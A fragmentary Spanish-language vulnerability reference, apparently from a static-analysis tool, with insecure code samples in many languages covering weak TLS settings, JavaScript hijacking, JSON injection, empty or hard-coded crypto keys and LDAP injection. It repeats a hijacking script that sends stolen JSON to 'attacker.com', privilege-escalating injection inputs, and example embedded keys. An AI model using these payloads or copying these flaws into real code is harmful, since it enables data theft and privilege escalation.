...
var options = {
port: 443,
path: '/',
key : fs.readFileSync('my-server-key.pem'),
cert : fs.readFileSync('server-cert.pem'),
...
}
https.createServer(options);
...
secureProtocol
en SSLv23_method
, el servidor es inherentemente inseguro cuando secureProtocol
no se reemplaza específicamente.
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration ephemeralSessionConfiguration];
[configuration setTLSMinimumSupportedProtocol = kSSLProtocol3];
NSURLSession *mySession = [NSURLSession sessionWithConfiguration:configuration delegate:self delegateQueue:operationQueue];
let configuration : NSURLSessionConfiguration = NSURLSessionConfiguration.defaultSessionConfiguration()
let mySession = NSURLSession(configuration: configuration, delegate: self, delegateQueue: operationQueue)
<script>
y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script>
maliciosa (puesto que las etiquetas <script>
solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script>
maliciosa (puesto que las etiquetas <script>
solo generan solicitudes GET). No obstante, GWT ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username
y password
al archivo JSON ubicado en C:\user_info.json
:
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue()
, los datos que no son de confianza de username
y password
no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
con la contraseña Evil123!
fuese a agregar ","role":"admin
a su nombre de usuario al introducirlo en la solicitud que establece el valor de la variable username
, el JSON resultante guardado en C:\user_info.json
sería:
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
Dictionary
con JsonConvert.DeserializeObject()
de este modo:
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
username
, password
y role
del objeto Dictionary
serían mallory
, Evil123!
y admin
, respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory
.username
y password
al archivo JSON ubicado en ~/user_info.json
:
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username
y password
no se validan a fin de omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, lo cual posiblemente pueda cambiar la estructura del archivo JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
con la contraseña Evil123!
anexó ","role":"admin
cuando ingresó su nombre de usuario, el archivo JSON resultante guardado en ~/user_info.json
sería el siguiente:
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory
privilegios de "admin".username
y password
al archivo JSON ubicado en ~/user_info.json
:
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue()
, los datos que no son de confianza de username
y password
no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
con la contraseña Evil123!
fuese a agregar ","role":"admin
a su nombre de usuario al introducirlo en la solicitud que establece el valor de la variable username
, el JSON resultante guardado en ~/user_info.json
sería:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
HashMap
con JsonParser
de Jackson de este modo:
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
username
, password
y role
del objeto HashMap
serían mallory
, Evil123!
y admin
, respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory
.
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name
no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
fuese a agregar ","role":"admin
al parámetro de nombre en la dirección URL, el JSON resultante sería:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON()
y establecido como objeto simple, lo que significa que obj.role
devolverá "admin" en lugar de "user"._usernameField
y _passwordField
:
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:
, los datos que no son de confianza de _usernameField
y _passwordField
no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
con la contraseña Evil123!
fuese a agregar ","role":"admin
a su nombre de usuario al introducirla en el campo _usernameField
, el JSON resultante sería:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary
con NSJSONSerialization.JSONObjectWithData:
de este modo:
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
username
, password
y role
en el objeto NSDictionary
serían mallory
, Evil123!
y admin
respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory
.
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name
no se validarán para escapar de los caracteres especiales relacionados con JSON. Esto permite que un usuario inserte arbitrariamente claves JSON, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
agregara ","role":"admin
al parámetro de nombre en la URL, el JSON se convertiría en:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField
y passwordField
:
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField
y passwordField
no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory
con la contraseña Evil123!
fuese a agregar ","role":"admin
a su nombre de usuario al introducirla en el campo usernameField
, el JSON resultante sería:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary
con NSJSONSerialization.JSONObjectWithData:
de este modo:
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
username
, password
y role
en el objeto NSDictionary
serían mallory
, Evil123!
y admin
respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory
.
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
se ejecute correctamente, pero cualquier persona con acceso a él puede determinar que utiliza una clave HMAC vacía. Una vez distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
Ejemplo 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC.
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
contiene un valor de contraseña seguro y administrado adecuadamente, al pasar su longitud como cero se obtendrá un valor de contraseña vacío, null
o con alguna otra debilidad inesperada.
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
contiene un valor de contraseña seguro y administrado adecuadamente, al pasar su longitud como cero se obtendrá un valor de contraseña vacío, null
o con alguna otra debilidad inesperada.
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer los datos cifrados por el sistema.
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
Ejemplo 2: el código siguiente realiza el cifrado AES con una clave de cifrado codificada de forma rígida:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey
codificada, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC.
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
const pbkdfPassword = "a secret";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
DirectorySearcher src =
new DirectorySearcher("(manager=" + managerName.Text + ")");
src.SearchRoot = de;
src.SearchScope = SearchScope.Subtree;
foreach(SearchResult res in src.FindAll()) {
...
}
(manager=Smith, John)
managerName
no contiene metacaracteres LDAP. Si un usuario malintencionado introduce la cadena Hacker, Wiley)(|(objectclass=*)
para managerName
, entonces la consulta será de la siguiente forma:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
hace que el filtro busque coincidencias en todas las entradas del directorio y permite al atacante recuperar información acerca de todo el grupo de usuarios. En función de los permisos con los que se realice la consulta LDAP, la amplitud de este ataque puede quedar limitada. Sin embargo, si el atacante es capaz de controlar la estructura de comando de la consulta, un ataque puede afectar como mínimo a tantos registros como el usuario de la consulta LDAP que se ejecuta pueda acceder.
fgets(manager, sizeof(manager), socket);
snprintf(filter, sizeof(filter, "(manager=%s)", manager);
if ( ( rc = ldap_search_ext_s( ld, FIND_DN, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) == LDAP_SUCCESS ) {
...
}
(manager=Smith, John)
manager
no contiene metacaracteres LDAP. Si un usuario malintencionado introduce la cadena Hacker, Wiley)(|(objectclass=*)
para manager
, entonces la consulta será de la siguiente forma:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
hace que el filtro busque coincidencias en todas las entradas del directorio y permite al atacante recuperar información acerca de todo el grupo de usuarios. En función de los permisos con los que se realice la consulta LDAP, la amplitud de este ataque puede quedar limitada. Sin embargo, si el atacante es capaz de controlar la estructura de comando de la consulta, un ataque puede afectar como mínimo a tantos registros como el usuario de la consulta LDAP que se ejecuta pueda acceder.
...
DirContext ctx = new InitialDirContext(env);
String managerName = request.getParameter("managerName");
//retrieve all of the employees who report to a manager
String filter = "(manager=" + managerName + ")";
NamingEnumeration employees = ctx.search("ou=People,dc=example,dc=com",
filter);
...
(manager=Smith, John)
managerName
no contiene metacaracteres LDAP. Si un usuario malintencionado introduce la cadena Hacker, Wiley)(|(objectclass=*)
para managerName
, entonces la consulta será de la siguiente forma:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
hace que el filtro busque coincidencias en todas las entradas del directorio y permite al atacante recuperar información acerca de todo el grupo de usuarios. En función de los permisos con los que se realice la consulta LDAP, la amplitud de este ataque puede quedar limitada. Sin embargo, si el atacante es capaz de controlar la estructura de comando de la consulta, un ataque puede afectar como mínimo a tantos registros como el usuario de la consulta LDAP que se ejecuta pueda acceder.
...
$managerName = $_POST["managerName"]];
//retrieve all of the employees who report to a manager
$filter = "(manager=" . $managerName . ")";
$result = ldap_search($ds, "ou=People,dc=example,dc=com", $filter);
...
(manager=Smith, John)
managerName
no contiene metacaracteres LDAP. Si un usuario malintencionado introduce la cadena Hacker, Wiley)(|(objectclass=*)
para managerName
, entonces la consulta será de la siguiente forma:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
hace que el filtro busque coincidencias en todas las entradas del directorio y permite al atacante recuperar información acerca de todo el grupo de usuarios. En función de los permisos con los que se realice la consulta LDAP, la amplitud de este ataque puede quedar limitada. Sin embargo, si el atacante es capaz de controlar la estructura de comando de la consulta, un ataque puede afectar como mínimo a tantos registros como el usuario de la consulta LDAP que se ejecuta pueda acceder.ou
de un campo oculto enviado mediante una solicitud HTTP y la utiliza para crear una nueva DirectoryEntry
.
...
de = new DirectoryEntry("LDAP://ad.example.com:389/ou="
+ hiddenOU.Text + ",dc=example,dc=com");
...
ou
inesperado. El problema es que el desarrollador no pudo aprovechar los mecanismos de control de acceso necesarios para restringir las consultas subsiguientes de modo que solo puedan acceder a los registros de empleados para los que el usuario actual tiene permisos de lectura.dn
desde un socket y la usa para realizar una consulta LDAP.
...
rc = ldap_simple_bind_s( ld, NULL, NULL );
if ( rc != LDAP_SUCCESS ) {
...
}
...
fgets(dn, sizeof(dn), socket);
if ( ( rc = ldap_search_ext_s( ld, dn, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) != LDAP_SUCCESS ) {
...
dn
inesperada. El problema es que el desarrollador no pudo aprovechar los mecanismos de control de acceso necesarios para restringir las consultas subsiguientes de modo que solo puedan acceder a los registros de empleados para los que el usuario actual tiene permisos de lectura.
env.put(Context.SECURITY_AUTHENTICATION, "none");
